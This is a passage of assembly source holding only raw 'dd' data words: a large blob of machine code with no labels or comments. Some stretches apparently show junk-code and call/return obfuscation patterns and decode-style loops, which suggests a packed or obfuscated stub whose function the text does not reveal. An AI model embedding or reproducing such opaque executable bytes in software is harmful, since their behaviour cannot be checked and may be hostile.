		dd 1404h, 0C3504000h, 0E9F88BDCh, 219h,	0FE8h, 7B012300h
		dd 0A905AFE4h, 0ABA39E46h, 332E2DFDh, 34859D8Bh, 8B5F0628h
		dd 2BA3F585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 10D1F7ACh, 7B3C2883h, 8B608B91h
		dd 282F0195h, 6D850306h, 61062802h, 1800C7h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 807909C3h, 0B58B74D4h, 62BA3F9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0DEC35747h,	8631A36Ch, 858BDAFDh
		dd 6282B65h, 6850Fh, 0BD8B0000h, 6282599h, 6A0689h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 498DC3C3h, 38F06F1h,	9D8B66E8h, 62823D5h, 24C9858Bh
		dd 5B510628h, 6A044689h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 55D0C351h, 0A64452B3h
		dd 95890FE6h, 6280ECDh,	50DBB70Fh, 6A243489h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 74EDC356h, 0A24556E4h, 0FEB70F56h, 0B5FFF55Bh, 62BA3F5h
		dd 0EF98F781h, 8D0F581Fh, 3, 6892CF80h,	0FE891153h, 14E95660h
		dd 17000000h, 1CA08C70h, 0A9B294BFh, 467967B5h,	7434EE6Eh
		dd 5BA2986Dh, 61D78B66h, 0AC240481h, 6A0195F2h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 775C350h, 9389249Fh,	0FD858DDAh, 6A062BA3h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 1494C356h, 89501927h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0F54437C3h, 2A17197Ch
		dd 299D895Fh, 0FF062811h, 28176D95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 9D8B6195h
		dd 628101Dh, 113D85C7h,	30628h,	9D330000h, 62817D9h, 0A3FDBD83h
		dd 0F00062Bh, 3F84h, 58B0F00h, 66000000h, 9E4DF81h, 4AE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 940F560h, 6E875h, 59290000h, 5E3A6A93h
		dd 5FD8B70Fh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0FE75C350h, 0BD8340BBh, 628113Dh
		dd 0F9850F03h, 0F9000004h, 95D8589h
		dd 0BD830628h, 62BA3FDh, 0E5840F00h, 6A000004h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0AB02C355h, 0F20A8C52h, 23A5BD31h, 0BF0F0628h, 0FDB5FFF8h
		dd 0E9062BA3h, 12h, 0B0B313FEh,	6453FA53h, 154D5F55h, 0B018ADE5h
		dd 95FFA44Eh, 6280E95h,	10E9h, 5A11EA00h, 5F61B8C6h, 0D06BBFF9h
		dd 3ACEE1D7h, 0F1B58B7Ah, 6A062BA3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0D2E2C357h
		dd 8B507C2Bh, 6C75FF8h,	10001h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 83C35040h, 26219D8Bh, 0B7530628h
		dd 0BB505B37h, 7C2AA5FFh, 6A243489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 2F6EC352h
		dd 0CF6F56BEh, 0DE8B16EBh, 6820Fh, 0BD8B0000h, 62803A9h
		dd 0A3FDB5FFh, 6A062Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9D31CFC3h, 62826A9h, 201995FFh
		dd 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0E9CB82C3h, 10h, 0F44ABE3Bh, 30E4EFAh, 7C217E99h
		dd 71F94985h, 51BD8B53h, 5F062820h, 0A3F1B58Bh,	6A062Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 6645C0C3h, 0F781FE8Bh, 27851D14h, 17D5858Bh,	0BD890628h
		dd 62820B1h, 0C48689h, 9D8B0000h, 628050Dh, 715958Bh, 0BD8B0628h
		dd 6282281h, 0E904C283h, 12h, 72370DB0h, 5CDB7EF3h, 0BF401B70h
		dd 800A2AA8h, 5089F37Fh, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0BEC35740h, 92FD8E82h
		dd 81668F85h, 0F5306C3h, 108Dh,	0BE900h, 0B7CD0000h, 0A57C4183h
		dd 90C68246h, 0D9858D91h, 6A062BB8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C3D7C350h
		dd 80DB33Eh, 10BF662Ah,	0B88689B2h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 3FF5C350h, 0A5DFDFF9h, 0DE7DD447h, 6A24B7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 40C35646h, 0F5E89883h
		dd 1001BD2Bh, 0BE80628h, 0D5000000h, 0CF6A967Ah, 0EE5ED03Ch
		dd 0D88B2E24h, 0FDB5FF5Bh, 6A062BA3h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0BB20C353h
		dd 6FCC5412h, 0CC38166h, 0D195FFE7h, 6A06282Ch,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 8A50C353h, 0BE330FEDh, 5650F472h, 0FE9h, 33C45300h
		dd 3651675Dh, 2807B8BCh, 40023EB0h, 2434895Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F8C35141h, 60C82303h
		dd 0D0D950Bh, 13E90628h, 56000000h, 0D9F26C1Fh,	41D02500h
		dd 24E45293h, 6385BE7Ch, 52614D83h, 5FF9BF0Fh, 0A3FDB5FFh
		dd 0FFF9062Bh, 2829B995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8BE31E24h
		dd 0DE9F9h, 92290000h, 0C56DD19h, 0D26CFF3Ch, 839E28C5h
		dd 280C55BDh, 840F0006h, 77h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 2CC35040h, 96AF8EE4h, 12E9h
		dd 26E5C400h, 71C66537h, 0E9DCB85Bh, 0BD8393A0h, 50A7559Ch
		dd 11E9h, 519D6500h, 9A077ACCh,	0A3AA0AF4h, 4CCFFAD7h
		dd 6A96BFCEh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 5E8FC355h, 0A6761313h,	5795BB66h
		dd 0FFDCD780h, 2BA3FDB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 921B2A3Bh
		dd 95FFFE8Bh, 6282285h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0D2C35141h, 0CB0D7C69h, 0BD0386A3h, 6281A29h
		dd 0FFD9BF0Fh, 2BA3FDB5h, 3DB50106h, 0FF062804h, 2810C195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 5C380D63h, 1861BD83h, 0F020628h,	1484h
		dd 9D8B5700h, 6282EC5h,	59858B5Fh, 8A062812h, 0C6DDh, 585C7FCh
		dd 62813h, 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0D1D1C352h, 8DEF80AAh,	0FFF28FE9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0DE5D28EAh, 0F14F7327h, 4995892Ch, 8B062817h
		dd 0E1CB80C1h, 8DDFB70Fh, 282C0585h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 10D96277h
		dd 508E095Bh, 13E8h, 0C697BE00h, 7C51B13h, 78920EAFh, 0ECBE05B2h
		dd 0D7D1544Dh, 341ABB66h, 2404895Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 7AC35343h, 0BEBCFC29h, 9D8B4CC5h
		dd 6280469h, 6660006Ah,	0E9B2C381h, 6A006A61h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 5F2C351h, 8D3ACBFEh,	2CDFCF85h, 359D8B06h, 8306280Fh
		dd 6E805C0h, 2E000000h,	0D8CA2C5Fh, 0D53BBB61h,	905F35A2h
		dd 12E95250h, 0AF000000h, 5624D6B4h, 86B28B85h,	0F56EEF38h
		dd 2AA9D1EEh, 66310FF1h, 5ACB07BFh, 6A905058h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0C745C352h, 6A8962h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 3CC35646h, 0F39310C1h, 6AFC74A9h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0FF82B3D2h, 28243195h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 5D2C2853h
		dd 0E6FB3DFAh, 398D290Ah, 8D062818h, 2B94F38Dh,	0E9605006h
		dd 10h,	0DCBB2A5Bh, 0D6E37482h,	839A1449h, 4D60347Ah, 8A0Fh
		dd 5F610000h, 860FD1FFh, 4, 5E6EBB66h, 2415BD83h, 0F010628h
		dd 8B85h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 5C7BD98Fh, 6AA1D790h, 57006A02h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD89A0AFh, 62810F1h, 5800Fh, 81660000h, 66CF17DBh
		dd 5290DF8Bh, 5BF88B66h, 14E950h, 2BCF0000h, 2E09A5Bh
		dd 589C2A82h, 797BA4C0h, 91DAF572h, 60908554h, 23FE8B66h
		dd 28225D95h, 0CF806106h, 0D195FF59h, 0F906282Ch, 0D6EE9h
		dd 0E800h, 815D0000h, 2CDFD9EDh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0D4FBDB3Bh
		dd 0B59D0901h, 66062821h, 3388C781h, 39EF8166h,	0B0858D04h
		dd 89062B85h, 2812A5BDh, 66509006h, 907765BFh, 64D88B66h
		dd 35FFh, 0AE90000h, 0EA000000h, 43A380Bh, 0A477B0B7h
		dd 25896450h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D8C35545h
		dd 321D9589h, 85FF0628h, 6281659h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 43C35545h, 0E60D79ACh, 4CF8166h
		dd 66FF6A50h, 8972E781h, 1D45B5FFh, 6A0628h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD3192C3h
		dd 6282C3Dh, 2DC195FFh,	4AE90628h, 0BB000001h, 105FD3B1h
		dd 0DF8100B0h, 5C5AD9C8h, 0BD2B70E6h, 6280EDDh,	0CE971E4h
		dd 0E5000000h, 0FAEDB797h, 7F83B52Dh, 3C639F9Ch, 1A830F61h
		dd 8B000001h, 280C65BDh, 3DBD8B06h, 0F062826h, 10E9C8B6h
		dd 93000000h, 6A74AB0Ch, 463AC2F5h, 0D1327AE9h,	0BA3C4C85h
		dd 6, 33FD9D8Bh, 0B70F0628h, 0E9C18BDFh, 10h, 0A4AA95E9h
		dd 83C78C25h, 0B3DDE4D1h, 66EE305Ah, 6604E8C1h,	666FA3BFh
		dd 0BD8BE2F7h, 6280BD9h, 9D0BC82Bh, 6280CB5h, 0BF66D18Bh
		dd 0AEE901C1h, 0F000000h, 158Eh, 10E900h, 0E2F00000h, 0C1AA60DBh
		dd 5B3D9AF6h, 0B235B4A4h, 0EB801780h, 4858B1Ch,	9000000h
		dd 280FC99Dh, 7C08306h,	3420AABFh, 0C08366h, 20A1BD09h
		dd 0D03B0628h, 17830Fh,	9D030000h, 6280321h, 31F9BD33h
		dd 5AE90628h, 8B000000h, 280109BDh, 0FF8D8B06h,	0FFFFFFFh
		dd 800FF8BFh, 14h, 0FE9h, 0F7736F00h, 29D59F3Eh, 0AC9FFF25h
		dd 0E280F755h, 0F01E183h, 2884h, 37BB6600h, 0E99D8B03h
		dd 83062825h, 0FFFFFFA5h, 9D01FEFFh, 6283471h, 49589h
		dd 0C7810000h, 0AC65430h, 0E9h,	0EDB58D00h, 6A062C53h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0E474C357h, 0B7A24556h, 6AA5D88Eh, 48C0Fh
		dd 8A520000h, 6A5FFCh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0C8C35040h, 96483ABFh, 6595FF10h, 0F062804h
		dd 0B88h, 8D8B6000h, 6280E11h, 61F28B66h, 0FC9B9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 3A4436A9h, 1B086468h, 1E519D8Bh, 0E1830628h,	57006AFCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 2CF0958Fh, 303502C5h, 0DFB70FB3h, 6AFCFCB3h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 5685C355h, 0BF1714C4h, 9F015FF9h, 0D4F78166h, 0B8C0h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0B65912C3h, 9529B37Bh, 6281995h, 0BAh, 79858900h
		dd 0E906280Ch, 14h, 0F6D4CA80h,	328D82B7h, 1CA8B19Ah, 64ED1127h
		dd 77C35E3Fh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 8CC35040h, 9589BD56h
		dd 62810B5h, 20C9BD0Bh,	880D0628h, 29000000h, 282135BDh
		dd 8BB6606h, 15958BB2h,	6A062807h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0B19DC352h
		dd 0F5DF8166h, 8BDD8A56h, 2821BD8Dh, 50DA8B06h,	188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 63D5B97Ch
		dd 2115B589h, 9D8B0628h, 6281711h, 25A1BD83h, 0F000628h
		dd 8984h, 0FFB70F00h, 0B8h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 459793F4h
		dd 79BBFE9h, 8DDFBF0Fh,	284F6E8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0C3283044h
		dd 95EF2559h, 1DB58950h, 0FF062801h, 53006AE1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0D573B59Dh
		dd 0FFFF45A5h, 11D19D2Bh, 0BD830628h, 628113Dh,	47840F00h
		dd 6A000003h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 488FC355h, 5B4F7DF7h, 0BD83C0AEh
		dd 628113Dh, 32840F01h,	66000003h, 0BD83DE8Bh, 628113Dh
		dd 0EC860F03h, 66000002h, 0DC44E381h, 0B9666060h, 7E92BC4h
		dd 7E000000h, 9F5F17B4h, 6661C8CCh, 0DE9D98Ch, 2F000000h
		dd 322B2828h, 5E2DADB8h, 2E2EAEA1h, 2F99D8Bh, 0E1800628h
		dd 0AFB8B04h, 0E1840FC9h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 236CC350h
		dd 5A4ADC03h, 0C9858B41h, 0F062824h, 8533FBB7h,	6282D05h
		dd 575DDBBh, 0BF665025h, 48978D0h, 499D8924h, 6A062814h
		dd 969BF00h, 54685554h,	66531501h, 8113D5BFh, 2AB2434h
		dd 6A530Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0AF7307C3h, 60D9DD1Ah, 840FF08Bh,	2, 0FF61FA8Bh
		dd 28176D95h, 619D2B06h, 89062814h, 2BA3FD85h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 5B4B4h, 0F3BEC291h, 18DE9h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 60D6D809h
		dd 0A3F5858Bh, 6A062Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 1DB2E0C3h, 0C76B77h, 18h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 1C35545h, 6FAF6EC9h
		dd 0F9B58B0Eh, 6A062BA3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 767EC353h, 31281E1Bh
		dd 14E89Dh, 2B7C0000h, 0AB7B0E76h, 4D421C55h, 336F8A5Ah
		dd 770D701Eh, 0BF0F27DBh, 858B5FF9h, 6282B65h, 8B0689F9h
		dd 280C6DBDh, 0C9858B06h, 6A062824h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 7DB1C353h
		dd 0F1815160h, 50C75308h, 0C5B86658h, 46896164h, 0FEBF0F04h
		dd 0F88B6696h, 9E850h, 0CF190000h, 99EDC475h, 0BB0459B0h
		dd 142D218Dh, 8D89965Fh, 6282729h, 0A3F5B5FFh, 0BD09062Bh
		dd 62801EDh, 0CB0F5268h, 8E857h, 5B480000h, 0B0FB5C1h
		dd 66575BEFh, 5B1745BFh, 2434815Bh, 57D40CADh, 0D9C78166h
		dd 0FD858D28h, 2B062BA3h, 280FEDBDh, 8EB75006h,	60240489h
		dd 61D0BF0Fh, 176D95FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 3AFBF1C3h, 81B21CE5h
		dd 27098589h, 89610628h, 282FD18Dh, 3D85C706h, 3062811h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 1BF6C357h, 6DAEFE9Eh, 0FE7ADFAh
		dd 283h, 83DA8B00h, 2BA3FDBDh, 840F0006h, 13h, 27E9DA8Ah
		dd 0F000000h, 680h, 0A5B58900h,	50062819h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 7D0C6DC3h, 65BCD9C6h, 8B66B7FDh, 3DBD83FEh
		dd 3062811h, 4BD850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 731B51C3h, 32AD07E3h
		dd 7E8h, 983BCD00h, 0DC2F1C30h,	0FED9D8Bh, 895F0628h, 2804C585h
		dd 0FDBD8306h, 62BA3h, 475840Fh, 89600000h, 28026DB5h
		dd 0EB816606h, 8B6120F5h, 2804499Dh, 0FDB5FF06h, 6A062BA3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0D797C353h, 85B9CC1Eh, 633BAEA4h,	840FDF8Bh
		dd 0Eh,	0F98D3360h, 89062818h, 280E698Dh, 95FF6106h, 6280E95h
		dd 0AD1E1EBBh, 0F1B58B7Eh, 6A062BA3h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0C4EBC351h
		dd 9F99820Bh, 4062446h,	9BD2960h, 906281Fh, 280EF58Dh
		dd 0BB666106h, 8052C96Fh, 0C75FD1F7h, 1000106h,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F8FB8B70h, 0E8525050h, 0Ah,	0ACE0A447h, 3D0B7A4h, 0BB66D7BBh
		dd 0F5FEAEAh, 0FF9FBF31h, 585A4235h, 6A243489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 285C356h, 0B5FF1975h, 62BA3FDh, 1AF8BB66h, 201995FFh
		dd 8B660628h, 0F1B58BDEh, 6A062BA3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3CC7C351h
		dd 0D88A59E8h, 17D5858Bh, 95890628h, 6282DBDh, 0C48689h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 1C0469C3h, 9E9h, 3729F700h, 0C16E83EEh, 958B88D2h
		dd 6280715h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	70C35747h, 71BD8BB6h, 8B062807h, 281925BDh, 4C28306h
		dd 9E8h, 8CD93600h, 429F355Bh, 665F947Eh, 5089FA8Bh, 51006A20h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 51A64908h, 0D9858DE7h, 6A062BB8h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9A9CC351h
		dd 891875FBh, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 9D8B9ECEh, 6281F15h, 0F381006Ah
		dd 3C4BD262h, 0A3FDB5FFh, 9D03062Bh, 628077Dh, 9E9h, 0C7D3EC00h
		dd 0A9697910h, 95FFE0D2h, 6282CD1h, 0E8605096h,	0Eh, 335ACC31h
		dd 0E759251Bh, 41FCBC5Ah, 850F6B07h, 0
		dd 1A890F58h, 0E8000000h, 14h, 0CF7E7F15h, 52064A80h, 9723A0D9h
		dd 59FAF1D5h, 47AF34Eh,	0E996615Bh, 0Dh, 7243AA2Ah, 2721AB47h
		dd 3B5EA79Ch, 0FDB5FF33h, 9062BA3h, 281E758Dh, 0B995FF06h
		dd 9062829h, 2834A99Dh,	55BD8306h, 6280Ch, 3F840Fh, 0FFB70000h
		dd 0E8535296h, 9, 0C4740D47h, 0C8547E02h, 5B5F5B55h, 0F4BF6650h
		dd 0BD8B9608h, 6281A51h, 17870Fh, 12E90000h, 19000000h
		dd 0CD8B0E46h, 752AB5BAh, 2D35B1B1h, 2366A036h,	0FDB5FFBDh
		dd 6A062BA3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0F7D0C350h, 54C0A895h,	2B31AEFAh
		dd 0FFF4F780h, 28228595h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0FEF9EC0Ah
		dd 0F7C6157h, 68Ch, 0D19D8B00h,	0FF062817h, 2BA3FDB5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 8EF38255h, 646DC87Ch, 830F6CBFh,	2, 6657F98Bh
		dd 5B7C16BFh, 10C195FFh, 9D8B0628h, 6280E91h, 1861BD83h
		dd 0F020628h, 5C84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 858B306Bh, 6281259h, 0CE8h
		dd 0C4C50600h, 0F4F167BDh, 236D813Bh, 0C65FF912h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0E5E499C3h, 0A5B3B06h, 585C777h, 62813h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 6E07C356h, 0D6686C9Dh, 665260B0h,	5BAF12BEh
		dd 11E960h, 6B460000h, 776120C9h, 0FA0E471Fh, 74C576C0h
		dd 8B80629Ch, 2819FDBDh, 0E9616106h, 0FFFFF36Dh, 2D0AEB81h
		dd 0C18B284Bh, 12E9h, 39E38D00h, 27665C31h, 6F2A470Bh
		dd 44508B53h, 8DF308ACh, 282C0585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E67FCD8Eh
		dd 0FDB91486h, 8A6090A3h, 8E960ECh, 0AF000000h,	6296A28Ah
		dd 565ECA82h, 5061615Fh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0C11D6C40h, 59BD2967h
		dd 8906281Ah, 28217585h, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 46E0C352h
		dd 17D67957h, 8B006A61h, 2819FDBDh, 3D858D06h, 6A062CEFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0B220C353h, 81E6505Dh, 8387ED72h,	0F56005C0h
		dd 50509061h, 452BF52h,	310F2423h, 11E9h, 80163E00h, 7FDBEF8Bh
		dd 0D0B3B3E4h, 669B002Fh, 585A3E64h, 0CFBF6690h, 6A006AD7h
		dd 9E900h, 7F900000h, 7DF8F143h, 0FF07F29Ah, 28243195h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0DB54BFDCh, 6829AE22h, 14E98Dh, 956E0000h
		dd 5469BAC9h, 3130A3DDh, 9168AD35h, 0D9700A7Ah,	8D8DFBB6h
		dd 62B94F3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	61C35747h, 9D892851h, 6282081h,	8166D1FFh, 83C8DCDBh
		dd 282415BDh, 850F0106h, 76h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0C9C35747h,	0BD8B86F1h, 6281D31h
		dd 22F58D89h, 26A0628h,	1EC18589h, 0F900628h, 389h, 0DF8B6600h
		dd 909CB350h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0FCC35242h, 13D8BCD6h, 2B9BF3A5h, 33F38167h, 0FF5FF6A8h
		dd 282CD195h, 3957BF06h, 0E3E95819h, 0E800000Ch, 0
		dd 47ED815Dh, 6A062CEFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 2388C353h, 2818B99Dh
		dd 11E906h, 29B0000h, 45C334BBh, 0D01E934Dh, 5426B0A0h
		dd 8D672370h, 2B85B085h, 0E9B58906h, 9006280Ch,	0CB8B6660h
		dd 0EE8h, 35604C00h, 2A51D396h,	0D6B0F049h, 5914B7C8h
		dd 6A905061h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 0CAFDC350h, 35FF640Fh,	0
		dd 1E919589h, 81660628h, 640F9FEFh, 2589h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0CD51ACC3h, 0E80A0298h, 9E927h, 4FF0000h, 47F3B5Ah
		dd 0E97B6ADAh, 10h, 540E1925h, 9B2ABBD8h, 1A7A01C0h, 0F508EE3Ah
		dd 165985FFh, 0CF810628h, 3F72D923h, 33B3FF6Ah,	5E1B5FFh
		dd 6A0628h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0AAEABAC3h, 33BBCA83h, 0FF30BE03h, 282DC195h
		dd 10BE906h, 95890000h,	6280DBDh, 8D2900B0h, 6281285h
		dd 8B6670E6h, 0F71E4DFh, 0EE9DFBFh, 6B000000h, 767A3BAh
		dd 7C6BAB21h, 1B886B37h, 0F613C38h, 0D883h, 35BD3100h
		dd 0F062825h, 9D2BC8B6h, 6280081h, 6BAh, 0BD035100h, 62800B5h
		dd 89C18B5Fh, 282E59BDh, 4E8C106h, 68D78166h, 0E2F76661h
		dd 18E9BD8Bh, 0C82B0628h, 0D18B9FB3h, 2BE98D09h, 92E90628h
		dd 0F000000h, 858BF8BFh, 5F4C4C44h, 64794BBBh, 7C0833Eh
		dd 16CD9D89h, 0C0830628h, 14E900h, 81BF0000h, 6B32A409h
		dd 48674E85h, 683865Fh,	0A959EFB9h, 0D03B4B62h,	21830Fh
		dd 0D98B0000h, 4117DB81h, 4AE93C85h, 0E8000000h, 8, 2D06AFCFh
		dd 0DF13CA89h, 185BD29h, 8B5B0628h, 0FFFFFF8Dh,	0FFB70FFFh
		dd 0F01E183h, 2484h, 0E99D2300h, 83062814h, 0FFFFFFA5h
